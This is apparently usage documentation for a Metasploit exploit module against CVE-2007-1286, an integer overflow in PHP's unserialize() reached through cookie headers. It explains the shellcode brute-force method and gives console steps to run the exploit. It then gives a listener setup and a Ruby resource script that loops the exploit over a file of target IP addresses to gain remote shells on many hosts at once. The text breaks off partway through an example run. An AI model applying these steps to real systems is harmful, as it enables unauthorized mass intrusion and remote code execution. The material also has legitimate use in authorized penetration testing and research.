List of CVEs: CVE-2007-1286

This module exploits an integer overflow vulnerability in the unserialize() function of the PHP web server extension. This vulnerability was patched by Stefan in version 4.5.0 and applies all previous versions supporting this function. This particular module targets numerous web applications and is based on the proof of concept provided by Stefan Esser. This vulnerability requires approximately 900k of data to trigger due the multiple Cookie headers requirement. Since we are already assuming a fast network connection, we use a 2Mb block of shellcode for the brute force, allowing quick exploitation for those with fast networks. One of the neat things about this vulnerability is that on x86 systems, the EDI register points into the beginning of the hashtable string. This can be used with an egghunter to quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction is known. The EDI method is faster, but the bandwidth-intensive brute force used by this module is more reliable across a wider range of systems.

Basic Usage

Using php_unserialize_zval_cookie against a single host

Normally, you can use exploit/multi/php/php_unserialize_zval_cookie this way:

msf > use exploit/multi/php/php_unserialize_zval_cookie
msf exploit(php_unserialize_zval_cookie) > show targets
    ... a list of targets ...
msf exploit(php_unserialize_zval_cookie) > set TARGET target-id
msf exploit(php_unserialize_zval_cookie) > show options
    ... show and set options ...
msf exploit(php_unserialize_zval_cookie) > exploit

Using php_unserialize_zval_cookie against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your php_unserialize_zval_cookie will be using:

1. Do: use exploit/multi/handler
2. Do: set PAYLOAD [payload]
3. Set other options required by the payload
4. Do: set EXITONSESSION false
5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/php/php_unserialize_zval_cookie")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
